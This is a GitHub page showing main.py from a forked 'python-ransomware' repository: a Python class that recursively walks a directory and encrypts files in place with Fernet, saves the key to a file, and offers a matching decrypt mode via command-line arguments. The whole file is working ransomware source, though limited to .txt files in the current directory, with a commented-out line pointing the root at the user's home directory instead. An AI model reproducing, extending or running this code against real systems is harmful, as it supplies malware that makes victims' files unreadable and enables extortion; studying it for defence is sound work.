forked from jg-fisher/python-ransomware
-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
129 lines (93 loc) · 3.58 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
import os
from os.path import expanduser
from cryptography.fernet import Fernet
import base64
class Ransomware:
def __init__(self, key=None):
"""
Initializes an instance of the Ransomware class.
Args:
key: 128-bit AES key used to encrypt or decrypt files
Attributes:
cryptor:fernet.Fernet: Object with encrypt and decrypt methods, set when key is generated if key is not passed
file_ext_targets:list<str>: List of strings of allowed file extensions for encryption
"""
self.key = key
self.cryptor = None
self.file_ext_targets = ['txt']
def generate_key(self):
"""
Generates a 128-bit AES key for encrypting files. Sets self.cyptor with a Fernet object
"""
self.key = Fernet.generate_key()
self.cryptor = Fernet(self.key)
def read_key(self, keyfile_name):
"""
Reads in a key from a file.
Args:
keyfile_name:str: Path to the file containing the key
"""
with open(keyfile_name, 'rb') as f:
self.key = f.read()
self.cryptor = Fernet(self.key)
def write_key(self, keyfile_name):
"""
Writes the key to a keyfile
"""
print(self.key)
with open(keyfile_name, 'wb') as f:
f.write(self.key)
def crypt_root(self, root_dir, encrypted=False):
"""
Recursively encrypts or decrypts files from root directory with allowed file extensions
Args:
root_dir:str: Absolute path of top level directory
encrypt:bool: Specify whether to encrypt or decrypt encountered files
"""
for root, _, files in os.walk(root_dir):
for f in files:
abs_file_path = os.path.join(root, f)
# if not a file extension target, pass
if not abs_file_path.split('.')[-1] in self.file_ext_targets:
continue
self.crypt_file(abs_file_path, encrypted=encrypted)
def crypt_file(self, file_path, encrypted=False):
"""
Encrypts or decrypts a file
Args:
file_path:str: Absolute path to a file
"""
with open(file_path, 'rb+') as f:
_data = f.read()
if not encrypted:
print(f'File contents pre encryption: {_data}')
data = self.cryptor.encrypt(_data)
print(f'File contents post encryption: {data}')
else:
data = self.cryptor.decrypt(_data)
print(f'File content post decryption: {data}')
f.seek(0)
f.write(data)
if __name__ == '__main__':
# sys_root = expanduser('~')
local_root = '.'
#rware.generate_key()
#rware.write_key()
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('--action', required=True)
parser.add_argument('--keyfile')
args = parser.parse_args()
action = args.action.lower()
keyfile = args.keyfile
rware = Ransomware()
if action == 'decrypt':
if keyfile is None:
print('Path to keyfile must be specified after --keyfile to perform decryption.')
else:
rware.read_key(keyfile)
rware.crypt_root(local_root, encrypted=True)
elif action == 'encrypt':
rware.generate_key()
rware.write_key('keyfile')
rware.crypt_root(local_root)